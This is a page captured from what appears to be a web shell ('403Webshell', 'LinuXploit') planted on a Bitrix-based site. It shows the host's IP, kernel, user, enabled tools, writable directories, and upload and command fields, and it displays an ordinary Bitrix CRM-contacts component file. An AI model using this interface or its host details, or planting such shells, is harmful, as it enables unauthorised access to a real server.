403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/landing.blocks.crm_contacts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/landing.blocks.crm_contacts/class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Landing;

/** @noinspection PhpUnused */

class LandingBlocksPhoneButtonComponent extends \CBitrixComponent
{
	/**
	 * Base executable method.
	 * @return void
	 * @noinspection PhpMissingParentCallCommonInspection
	 */
	public function executeComponent(): void
	{
		$this->arParams['TITLE'] = $this->arParams['~TITLE'] ?? '';
		$this->arParams['BUTTON_TITLE'] = $this->arParams['~BUTTON_TITLE'] ?? 'Contact';
		$this->arParams['BUTTON_CLASSES'] = $this->arParams['~BUTTON_CLASSES'] ?? '';

		$this->arResult['CONTACTS'] = \Bitrix\Landing\Connector\Crm::getContactsRaw();

		if (empty($this->arResult['CONTACTS']))
		{
			$this->arResult['ERRORS'][] = [
				'title' => Loc::getMessage('LNDNG_BLPHB_ERROR_NO_REQUISITE_TITLE'),
				'text' => Loc::getMessage(
					'LNDNG_BLPHB_ERROR_NO_REQUISITE_TEXT',
					[
						'#LINK1#' => '',
						'#LINK2#' => '',
					]
				),
			];
		}
		else
		{
			$sliderPath = '';
			if (Landing\Manager::isB24() && Loader::includeModule('salescenter'))
			{
				$sliderPath = \CComponentEngine::makeComponentPath('bitrix:salescenter.company.contacts');
				$sliderPath = getLocalPath('components' . $sliderPath . '/slider.php');
			}

			$this->arResult['ALERTS'][] = Loc::getMessage(
				'LNDNG_BLPHB_ALERT_REQUISITE_HELP',
				[
					'#LINK1#' => '<a class="landing-trusted-link" 
						onclick="BX.PreventDefault(); BX.SidePanel.Instance.open(\'' . $sliderPath . '\');" href="">',
					'#LINK2#' => '</a>',
				]
			);
		}

		$this->arParams['EDIT_MODE'] = Landing\Landing::getEditMode() ? 'Y' : 'N';

		$this->includeComponentTemplate();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit